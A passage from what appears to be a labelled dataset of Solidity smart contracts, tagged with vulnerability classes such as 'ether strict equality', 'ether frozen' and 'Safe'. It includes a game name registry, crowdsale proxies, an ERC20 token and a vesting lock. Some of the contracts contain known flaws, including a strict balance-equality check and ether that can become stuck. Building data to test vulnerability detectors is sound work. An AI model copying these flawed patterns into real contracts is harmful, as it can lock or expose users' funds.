up address address _addr = msg.sender; // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); } /** * @dev players, if you registered a profile, before a game was released, or * set the all bool to false when you registered, use this function to push * your profile to a single game. also, if you've updated your name, you * can use this to push your name to games of your choosing. * -functionhash- 0x81c5b206 * @param _gameID game id */ function addMeToGame(uint256 _gameID) isHuman() public { require(_gameID <= gID_, ""silly player, that game doesn't exist yet""); address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _totalNames = plyr_[_pID].names; // add players profile and most recent name games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff); // add list of all names if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } /** * @dev players, use this to push your player profile to all registered games. * -functionhash- 0x0c6940ea */ function addMeToAllGames() isHuman() public { address _addr = msg.sender; uint256 _pID = pIDxAddr_[_addr]; require(_pID != 0, ""hey there buddy, you dont even have an account""); uint256 _laff = plyr_[_pID].laff; uint256 _totalNames = plyr_[_pID].names; bytes32 _name = plyr_[_pID].name; for (uint256 i = 1; i <= gID_; i++) { games_[i].receivePlayerInfo(_pID, _addr, _name, _laff); if (_totalNames > 1) for (uint256 ii = 1; ii <= _totalNames; ii++) games_[i].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]); } } /** * @dev players use this to change back to one of your old names. tip, you'll * still need to push that info to existing games. * -functionhash- 0xb9291296 * @param _nameString the name you want to use */ function useMyOldName(string _nameString) isHuman() public { // filter name, and get pID bytes32 _name = _nameString.nameFilter(); uint256 _pID = pIDxAddr_[msg.sender]; // make sure they own the name require(plyrNames_[_pID][_name] == true, ""umm... thats not a name you own""); // update their current name plyr_[_pID].name = _name; } //============================================================================== // _ _ _ _ | _ _ . _ . // (_(_)| (/_ |(_)(_||(_ . //=====================_|======================================================= function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer, bool _all) private { // if names already has been used, require that current msg sender owns the name if (pIDxName_[_name] != 0) require(plyrNames_[_pID][_name] == true, ""sorry that names already taken""); // add name to player profile, registry, and name book plyr_[_pID].name = _name; pIDxName_[_name] = _pID; if (plyrNames_[_pID][_name] == false) { plyrNames_[_pID][_name] = true; plyr_[_pID].names++; plyrNameList_[_pID][plyr_[_pID].names] = _name; } // registration fee goes directly to community rewards admin.transfer(address(this).balance); // push player info to games if (_all == true) for (uint256 i = 1; i <= gID_; i++) games_[i].receivePlayerInfo(_pID, _addr, _name, _affID); // fire event emit onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, msg.value, now); } //============================================================================== // _|_ _ _ | _ . // | (_)(_)|_\ . //============================================================================== function determinePID(address _addr) private returns (bool) { if (pIDxAddr_[_addr] == 0) { pID_++; pIDxAddr_[_addr] = pID_; plyr_[pID_].addr = _addr; // set the new player bool to true return (true); } else { return (false); } } //============================================================================== // _ _|_ _ _ _ _ | _ _ || _ . // (/_>< | (/_| | |(_|| (_(_|||_\ . //============================================================================== function getPlayerID(address _addr) isRegisteredGame() external returns (uint256) { determinePID(_addr); return (pIDxAddr_[_addr]); } function getPlayerName(uint256 _pID) external view returns (bytes32) { return (plyr_[_pID].name); } function getPlayerLAff(uint256 _pID) external view returns (uint256) { return (plyr_[_pID].laff); } function getPlayerAddr(uint256 _pID) external view returns (address) { return (plyr_[_pID].addr); } function getNameFee() external view returns (uint256) { return(registrationFee_); } function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given, no new affiliate code was given, or the // player tried to use their own pID as an affiliate code, lolz uint256 _affID = _affCode; if (_affID != 0 && _affID != plyr_[_pID].laff && _affID != _pID) { // update last affiliate plyr_[_pID].laff = _affID; } else if (_affID == _pID) { _affID = 0; } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != address(0) && _affCode != _addr) { // get affiliate ID from aff Code _affID = pIDxAddr_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) isRegisteredGame() external payable returns(bool, uint256) { // make sure name fees paid require (msg.value >= registrationFee_, ""umm..... you have to pay the name fee""); // set up our tx event data and determine if player is new or not bool _isNewPlayer = determinePID(_addr); // fetch player id uint256 _pID = pIDxAddr_[_addr]; // manage affiliate residuals // if no affiliate code was given or player tried to use their own, lolz uint256 _affID; if (_affCode != """" && _affCode != _name) { // get affiliate ID from aff Code _affID = pIDxName_[_affCode]; // if affID is not the same as previously stored if (_affID != plyr_[_pID].laff) { // update last affiliate plyr_[_pID].laff = _affID; } } // register name registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all); return(_isNewPlayer, _affID); } //============================================================================== // _ _ _|_ _ . // _\(/_ | |_||_) . //=============|================================================================ function addGame(address _gameAddress, string _gameNameStr) onlyDevs() public { require(gameIDs_[_gameAddress] == 0, ""derp, that games already been registered""); gID_++; bytes32 _name = _gameNameStr.nameFilter(); gameIDs_[_gameAddress] = gID_; gameNames_[_gameAddress] = _name; games_[gID_] = PlayerBookReceiverInterface(_gameAddress); games_[gID_].receivePlayerInfo(1, plyr_[1].addr, plyr_[1].name, 0); games_[gID_].receivePlayerInfo(2, plyr_[2].addr, plyr_[2].name, 0); games_[gID_].receivePlayerInfo(3, plyr_[3].addr, plyr_[3].name, 0); games_[gID_].receivePlayerInfo(4, plyr_[4].addr, plyr_[4].name, 0); } function setRegistrationFee(uint256 _fee) onlyDevs() public { registrationFee_ = _fee; } } /** * @title -Name Filter- v0.1.9 */ library NameFilter { /** * @dev filters name strings * -converts uppercase to lower case. * -makes sure it does not start/end with a space * -makes sure it does not contain multiple spaces in a row * -cannot be only numbers * -cannot start with 0x * -restricts characters to A-Z, a-z, 0-9, and space. * @return reprocessed string in bytes32 format */ function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; //sorry limited to 32 characters require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); // make sure it doesnt start with or end with space require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); // make sure first two characters are not 0x if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } // create a bool to track if we have a non number character bool _hasNonNumber; // convert & check for (uint256 i = 0; i < _length; i++) { // if its uppercase A-Z if (_temp[i] > 0x40 && _temp[i] < 0x5b) { // convert to lower case a-z _temp[i] = byte(uint(_temp[i]) + 32); // we have a non number if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( // require character is a space _temp[i] == 0x20 || // OR lowercase a-z (_temp[i] > 0x60 && _temp[i] < 0x7b) || // or 0-9 (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); // make sure theres not 2x spaces in a row if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); // see if we have a character other than a number if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } /** * @title SafeMath v0.1.9 * @dev Math operations with safety checks that throw on error * change notes: original SafeMath library from OpenZeppelin modified by Inventor * - added sqrt * - added sq * - added pwr * - changed asserts to requires with error log outputs * - removed div, its useless */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } /** * @dev gives square root of given x. */ function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } /** * @dev gives square. multiplies x by x */ function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } /** * @dev x to the power of y */ function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/ether strict equality (SE),3,3 29219.sol,"pragma solidity ^0.4.18; interface IToken { function totalSupply() public view returns (uint); function balanceOf(address _owner) public view returns (uint); function transfer(address _to, uint _value) public returns (bool); function transferFrom(address _from, address _to, uint _value) public returns (bool); function approve(address _spender, uint _value) public returns (bool); function allowance(address _owner, address _spender) public view returns (uint); } interface ICrowdsale { function isInPresalePhase() public view returns (bool); function isEnded() public view returns (bool); function hasBalance(address _beneficiary, uint _releaseDate) public view returns (bool); function balanceOf(address _owner) public view returns (uint); function ethBalanceOf(address _owner) public view returns (uint); function refundableEthBalanceOf(address _owner) public view returns (uint); function getRate(uint _phase, uint _volume) public view returns (uint); function toTokens(uint _wei, uint _rate) public view returns (uint); function () public payable; function contribute() public payable returns (uint); function contributeFor(address _beneficiary) public payable returns (uint); function withdrawTokens() public; function withdrawTokensTo(address _beneficiary) public; function withdrawEther() public; function withdrawEtherTo(address _beneficiary) public; function refund() public; function refundTo(address _beneficiary) public; } contract Dispatchable { address private target; } contract SimpleDispatcher { address private target; function SimpleDispatcher(address _target) public { target = _target; } function () public payable { var dest = target; assembly { calldatacopy(0x0, 0x0, calldatasize) switch delegatecall(sub(gas, 10000), dest, 0x0, calldatasize, 0, 0) case 0 { revert(0, 0) } } } } contract PersonalCrowdsaleProxyDispatcher is SimpleDispatcher { address public targetCrowdsale; address public targetToken; address public beneficiary; bytes32 private passphraseHash; function PersonalCrowdsaleProxyDispatcher(address _target, address _targetCrowdsale, address _targetToken, bytes32 _passphraseHash) public SimpleDispatcher(_target) { targetCrowdsale = _targetCrowdsale; targetToken = _targetToken; passphraseHash = _passphraseHash; } } interface ICrowdsaleProxy { function () public payable; function contribute() public payable returns (uint); function contributeFor(address _beneficiary) public payable returns (uint); } contract CrowdsaleProxy is ICrowdsaleProxy { address public owner; ICrowdsale public target; function CrowdsaleProxy(address _owner, address _target) public { target = ICrowdsale(_target); owner = _owner; } function () public payable { target.contributeFor.value(msg.value)(msg.sender); } function contribute() public payable returns (uint) { target.contributeFor.value(msg.value)(msg.sender); } function contributeFor(address _beneficiary) public payable returns (uint) { target.contributeFor.value(msg.value)(_beneficiary); } } interface IPersonalCrowdsaleProxy { function () public payable; function invest() public; function refund() public; function updateTokenBalance() public; function withdrawTokens() public; function updateEtherBalance() public; function withdrawEther() public; } contract PersonalCrowdsaleProxy is IPersonalCrowdsaleProxy, Dispatchable { ICrowdsale public targetCrowdsale; IToken public targetToken; address public beneficiary; bytes32 private passphraseHash; modifier when_beneficiary_is_known() { require(beneficiary != address(0)); _; } modifier when_beneficiary_is_unknown() { require(beneficiary == address(0)); _; } function setBeneficiary(address _beneficiary, bytes32 _passphrase) public when_beneficiary_is_unknown { require(keccak256(_passphrase) == passphraseHash); beneficiary = _beneficiary; } function () public payable { } function invest() public { targetCrowdsale.contribute.value(this.balance)(); } function refund() public { targetCrowdsale.refund(); } function updateTokenBalance() public { targetCrowdsale.withdrawTokens(); } function withdrawTokens() public when_beneficiary_is_known { uint balance = targetToken.balanceOf(this); targetToken.transfer(beneficiary, balance); } function updateEtherBalance() public { targetCrowdsale.withdrawEther(); } function withdrawEther() public when_beneficiary_is_known { beneficiary.transfer(this.balance); } } contract CrowdsaleProxyFactory { address public targetCrowdsale; address public targetToken; address private personalCrowdsaleProxyTarget; event ProxyCreated(address proxy, address beneficiary); function CrowdsaleProxyFactory(address _targetCrowdsale, address _targetToken) public { targetCrowdsale = _targetCrowdsale; targetToken = _targetToken; personalCrowdsaleProxyTarget = new PersonalCrowdsaleProxy(); } function createProxyAddress() public returns (address) { address proxy = new CrowdsaleProxy(msg.sender, targetCrowdsale); ProxyCreated(proxy, msg.sender); return proxy; } function createProxyAddressFor(address _beneficiary) public returns (address) { address proxy = new CrowdsaleProxy(_beneficiary, targetCrowdsale); ProxyCreated(proxy, _beneficiary); return proxy; } function createPersonalDepositAddress(bytes32 _passphraseHash) public returns (address) { address proxy = new PersonalCrowdsaleProxyDispatcher( personalCrowdsaleProxyTarget, targetCrowdsale, targetToken, _passphraseHash); ProxyCreated(proxy, msg.sender); return proxy; } function createPersonalDepositAddressFor(address _beneficiary) public returns (address) { PersonalCrowdsaleProxy proxy = PersonalCrowdsaleProxy(new PersonalCrowdsaleProxyDispatcher( personalCrowdsaleProxyTarget, targetCrowdsale, targetToken, keccak256(bytes32(_beneficiary)))); proxy.setBeneficiary(_beneficiary, bytes32(_beneficiary)); ProxyCreated(proxy, _beneficiary); return proxy; } }",./Dataset/ether frozen (EF),2,2 0x0498b182c3e6e05bd6c81f7da8290034a9fabe79_LWFToken.sol,"pragma solidity ^0.4.15; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library Utils { /** @dev Helper function, determines if a given address is an account or a contract. @return True if address is a contract, false otherwise */ function isContract(address _addr) constant internal returns (bool) { uint size; assembly { size := extcodesize(_addr) } return (_addr == 0) ? false : size > 0; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Claimable * @dev Extension for the Ownable contract, where the ownership needs to be claimed. * This allows the new owner to accept the transfer. */ contract Claimable is Ownable { address public pendingOwner; /** * @dev Modifier throws if called by any account other than the pendingOwner. */ modifier onlyPendingOwner() { require(msg.sender == pendingOwner); _; } /** * @dev Allows the current owner to set the pendingOwner address. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { pendingOwner = newOwner; } /** * @dev Allows the pendingOwner address to finalize the transfer. */ function claimOwnership() onlyPendingOwner { OwnershipTransferred(owner, pendingOwner); owner = pendingOwner; pendingOwner = 0x0; } } /** @title Burnable @dev Burnable custom interface, should allow external contracts to burn tokens on certain conditions. */ contract Burnable { event Burn(address who, uint256 amount); modifier onlyBurners { require(isBurner(msg.sender)); _; } function burn(address target, uint256 amount) external onlyBurners returns (bool); function setBurner(address who, bool auth) returns (bool); function isBurner(address who) constant returns (bool); } /** @title Lockable @dev Lockable custom interface, should allow external contracts to lock accounts on certain conditions. */ contract Lockable { uint256 public lockExpiration; /** @dev Constructor @param _lockExpiration lock expiration datetime in UNIX time */ function Lockable(uint256 _lockExpiration) { lockExpiration = _lockExpiration; } function isLocked(address who) constant returns (bool); } /** @title ERC20 interface @dev Standard ERC20 Interface. */ contract ERC20 { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** @title LWFToken @dev ERC20 standard. @dev Extra features: Burnable and Lockable under certain conditions. @dev contract owner is set to msg.sender, lockExpiration for devs set to: 1535760000 || Saturday, 01-Sep-18 00:00:00 UTC */ contract LWFToken is ERC20, Burnable, Lockable(1535760000), Claimable { using SafeMath for uint256; // Snapshot of Account balance at specific block struct Snapshot { uint256 block; uint256 balance; } struct Account { uint256 balance; Snapshot[] history; // history of snapshots mapping(address => uint256) allowed; bool isSet; } address[] accountsList; mapping(address => Account) accounts; bool public maintenance; // BURN SETTINGS mapping(address => bool) burners; // contracts authorized to block tokens bool public burnAllowed; // LOCK SETTINGS mapping(address => bool) locked; //locked users addresses // COSMETIC THINGS string public name = ""LWF""; string public symbol = ""LWF""; string public version = ""release-1.1""; uint256 public decimals = 2; /** @dev Throws if token is under maintenance. */ modifier disabledInMaintenance() { if (maintenance) revert(); _; } /** @dev Throws if token is not under maintenance. */ modifier onlyUnderMaintenance() { if (!maintenance) revert(); _; } /** @dev Registers the recipient account when tokens are sent to an unregistered account. @param _recipient the recipient of the transfer */ modifier trackNewUsers (address _recipient) { if (!accounts[_recipient].isSet) { accounts[_recipient].isSet = true; accountsList.push(_recipient); } _; } /** @dev The constructor sets the initial balance to 30 million tokens. @dev 27 million assigned to the contract owner. @dev 3 million reserved and locked. (except bounty) @dev Holders history is updated for data integrity. @dev Burn functionality are enabled by default. */ function LWFToken() { totalSupply = 30 * (10**6) * (10**decimals); burnAllowed = true; maintenance = false; require(_setup(0x927Dc9F1520CA2237638D0D3c6910c14D9a285A8, 2700000000, false)); require(_setup(0x7AE7155fF280D5da523CDDe3855b212A8381F9E8, 30000000, false)); require(_setup(0x796d507A80B13c455c2C1D121eDE4bccca59224C, 263000000, true)); require(_setup(0xD77d620EC9774295ad8263cBc549789EE39C0BC0, 1000000, true)); require(_setup(0x574B35eC5650BE0aC217af9AFCfe1c7a3Ff0BecD, 1000000, true)); require(_setup(0x7c5a61f34513965AA8EC090011721a0b0A9d4D3a, 1000000, true)); require(_setup(0x0cDBb03DD2E8226A6c3a54081E93750B4f85DB92, 1000000, true)); require(_setup(0x03b6cF4A69fF306B3df9B9CeDB6Dc4ED8803cBA7, 1000000, true)); require(_setup(0xe2f7A1218E5d4a362D1bee8d2eda2cd285aAE87A, 1000000, true)); require(_setup(0xAcceDE2eFD2765520952B7Cb70406A43FC17e4fb, 1000000, true)); } /** @return accountsList length */ function accountsListLength() external constant returns (uint256) { return accountsList.length; } /** @dev Gets the address of any account in 'accountList'. @param _index The index to query the address of @return An address pointing to a registered account */ function getAccountAddress(uint256 _index) external constant returns (address) { return accountsList[_index]; } /** @dev Checks if an accounts is registered. @param _address The address to check @return A bool set true if the account is registered, false otherwise */ function isSet(address _address) external constant returns (bool) { return accounts[_address].isSet; } /** @dev Gets the balance of the specified address at the first block minor or equal the specified block @param _owner The address to query the the balance of @param _block The block @return An uint256 representing the amount owned by the passed address at the specified block. */ function balanceAt(address _owner, uint256 _block) external constant returns (uint256 balance) { uint256 i = accounts[_owner].history.length; do { i--; } while (i > 0 && accounts[_owner].history[i].block > _block); uint256 matchingBlock = accounts[_owner].history[i].block; uint256 matchingBalance = accounts[_owner].history[i].balance; return (i == 0 && matchingBlock > _block) ? 0 : matchingBalance; } /** @dev Authorized contracts can burn tokens. @param _amount Quantity of tokens to burn @return A bool set true if successful, false otherwise */ function burn(address _address, uint256 _amount) onlyBurners disabledInMaintenance external returns (bool) { require(burnAllowed); var _balance = accounts[_address].balance; accounts[_address].balance = _balance.sub(_amount); // update history with recent burn require(_updateHistory(_address)); totalSupply = totalSupply.sub(_amount); Burn(_address,_amount); Transfer(_address, 0x0, _amount); return true; } /** @dev Send a specified amount of tokens from sender address to '_recipient'. @param _recipient address receiving tokens @param _amount the amount of tokens to be transferred @return A bool set true if successful, false otherwise */ function transfer(address _recipient, uint256 _amount) returns (bool) { require(!isLocked(msg.sender)); return _transfer(msg.sender,_recipient,_amount); } /** @dev Transfer tokens from one address to another @param _from address The address which you want to send tokens from @param _to address The address which you want to transfer to @param _amount the amount of tokens to be transferred @return A bool set true if successful, false otherwise */ function transferFrom(address _from, address _to, uint256 _amount) returns (bool) { require(!isLocked(_from)); require(_to != address(0)); var _allowance = accounts[_from].allowed[msg.sender]; // Check is not needed because sub(_allowance, _amount) will already throw if this condition is not met // require (_amount <= _allowance); accounts[_from].allowed[msg.sender] = _allowance.sub(_amount); return _transfer(_from, _to, _amount); } /** @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. @param _spender The address which will spend the funds. @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition require((_value == 0) || (accounts[msg.sender].allowed[_spender] == 0)); accounts[msg.sender].allowed[_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** @dev Approve should be called when allowed[_spender] == 0. To increment allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) @param _spender The address which will spend the funds @param _addedValue The value which will be added from the allowed balance */ function increaseApproval(address _spender, uint _addedValue) returns (bool success) { uint256 _allowance = accounts[msg.sender].allowed[_spender]; accounts[msg.sender].allowed[_spender] = _allowance.add(_addedValue); Approval(msg.sender, _spender, accounts[msg.sender].allowed[_spender]); return true; } /** @dev Approve should be called when allowed[_spender] == 0. To decrement allowed value is better to use this function to avoid 2 calls (and wait until the first transaction is mined) @param _spender The address which will spend the funds @param _subtractedValue The value which will be subtracted from the allowed balance @return A bool set true if successful, false otherwise */ function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = accounts[msg.sender].allowed[_spender]; accounts[msg.sender].allowed[_spender] = (_subtractedValue > oldValue) ? 0 : oldValue.sub(_subtractedValue); Approval(msg.sender, _spender, accounts[msg.sender].allowed[_spender]); return true; } /** @dev Sets a contract authorization to burn tokens. @param _address The address to authorize/deauthorize @param _auth True for authorization, false otherwise @return A bool set true if successful, false otherwise */ function setBurner(address _address, bool _auth) onlyOwner returns (bool) { require(burnAllowed); assert(Utils.isContract(_address)); burners[_address] = _auth; return true; } /** @dev Checks if the provided contract can burn tokens. @param _address The address to check @return A bool set true if authorized, false otherwise */ function isBurner(address _address) constant returns (bool) { return burnAllowed ? burners[_address] : false; } /** @dev Checks if the token owned by the provided address are locked. @param _address The address to check @return A bool set true if locked, false otherwise */ function isLocked(address _address) constant returns (bool) { return now >= lockExpiration ? false : locked[_address]; } /** @dev Function permanently disabling 'burn()' and 'setBurner()'. @dev Already burned tokens are not recoverable. @dev Effects of this transaction are irreversible. @return A bool set true if successful, false otherwise */ function burnFeatureDeactivation() onlyOwner returns (bool) { require(burnAllowed); burnAllowed = false; return true; } /** @dev Gets the balance of the specified address. @param _owner The address to query the the balance of. @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts[_owner].balance; } /** @dev Function to check the amount of tokens that an owner allowed to a spender. @param _owner address The address which owns the funds. @param _spender address The address which will spend the funds. @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return accounts[_owner].allowed[_spender]; } /** @dev Sets the maintenance mode. During maintenance operations modifying balances are frozen. @param _state true if maintenance is on, false otherwise @return A bool set true if successful, false otherwise */ function setMaintenance(bool _state) onlyOwner returns (bool) { maintenance = _state; return true; } /** @dev Maintenance function, if accountsList grows too long back end can safely clean unused accounts and push the renewed list into the contract. @dev Accounts removed from the list must be deactivated with maintenanceDeactivateUser(_user) @param _accountsList A list containing the accounts' addresses @return A bool set true if successful, false otherwise */ function maintenanceSetAccountsList(address[] _accountsList) onlyOwner onlyUnderMaintenance returns (bool) { accountsList = _accountsList; return true; } /** @dev Maintenance function reserved to back end, removes an account from the list. @return A bool set true if successful, false otherwise */ function maintenanceDeactivateUser(address _user) onlyOwner onlyUnderMaintenance returns (bool) { accounts[_user].isSet = false; delete accounts[_user].history; return true; } /** @dev Auxiliary method used in constructor to reserve some tokens and lock them in some cases. @param _address The address to assign tokens @param _amount The amount of tokens @param _lock True to lock until 'lockExpiration', false to not @return A bool set true if successful, false otherwise */ function _setup(address _address, uint256 _amount, bool _lock) internal returns (bool) { locked[_address] = _lock; accounts[_address].balance = _amount; accounts[_address].isSet = true; require(_updateHistory(_address)); accountsList.push(_address); Transfer(this, _address, _amount); return true; } /** @dev Function implementing the shared logic of 'transfer()' and 'transferFrom()' @param _from address sending tokens @param _recipient address receiving tokens @param _amount tokens to send @return A bool set true if successful, false otherwise */ function _transfer(address _from, address _recipient, uint256 _amount) internal disabledInMaintenance trackNewUsers(_recipient) returns (bool) { accounts[_from].balance = balanceOf(_from).sub(_amount); accounts[_recipient].balance = balanceOf(_recipient).add(_amount); // save this transaction in both accounts history require(_updateHistory(_from)); require(_updateHistory(_recipient)); Transfer(_from, _recipient, _amount); return true; } /** @dev Updates the user history with the latest balance. @param _address The Account's address to update @return A bool set true if successful, false otherwise */ function _updateHistory(address _address) internal returns (bool) { accounts[_address].history.push(Snapshot(block.number, balanceOf(_address))); return true; } }",Safe,8,8 7724.sol,"pragma solidity ^0.4.21; contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract CTCLock is Ownable { using SafeMath for uint256; address public teamWallet; address public earlyWallet; address public institutionWallet; uint256 public teamTimeLock = 1000 days; uint256 public earlyTimeLock = 5 * 30 days; uint256 public institutionTimeLock = 50 * 30 days; uint256 public teamAllocation = 15 * (10 ** 7) * (10 ** 18); uint256 public earlyAllocation = 5 * (10 ** 7) * (10 ** 18); uint256 public institutionAllocation = 15 * (10 ** 7) * (10 ** 18); uint256 public totalAllocation = 35 * (10 ** 7) * (10 ** 18); uint256 public teamStageSetting = 34; uint256 public earlyStageSetting = 5; uint256 public institutionStageSetting = 50; ERC20Basic public token; uint256 public start; uint256 public lockStartTime; mapping(address => uint256) public allocations; mapping(address => uint256) public stageSettings; mapping(address => uint256) public timeLockDurations; mapping(address => uint256) public releasedAmounts; modifier onlyReserveWallets { require(allocations[msg.sender] > 0); _; } function CTCLock(ERC20Basic _token, address _teamWallet, address _earlyWallet, address _institutionWallet, uint256 _start, uint256 _lockTime)public{ require(_start > 0); require(_lockTime > 0); require(_start.add(_lockTime) > 0); require(_teamWallet != address(0)); require(_earlyWallet != address(0)); require(_institutionWallet != address(0)); token = _token; teamWallet = _teamWallet; earlyWallet = _earlyWallet; institutionWallet = _institutionWallet; start = _start; lockStartTime = start.add(_lockTime); } function allocateToken() onlyOwner public{ require(block.timestamp > lockStartTime); require(allocations[teamWallet] == 0); require(token.balanceOf(address(this)) == totalAllocation); allocations[teamWallet] = teamAllocation; allocations[earlyWallet] = earlyAllocation; allocations[institutionWallet] = institutionAllocation; stageSettings[teamWallet] = teamStageSetting; stageSettings[earlyWallet] = earlyStageSetting; stageSettings[institutionWallet] = institutionStageSetting; timeLockDurations[teamWallet] = teamTimeLock; timeLockDurations[earlyWallet] = earlyTimeLock; timeLockDurations[institutionWallet] = institutionTimeLock; } function releaseToken() onlyReserveWallets public{ uint256 totalUnlocked = unlockAmount(); require(totalUnlocked <= allocations[msg.sender]); require(releasedAmounts[msg.sender] < totalUnlocked); uint256 payment = totalUnlocked.sub(releasedAmounts[msg.sender]); releasedAmounts[msg.sender] = totalUnlocked; require(token.transfer(msg.sender, 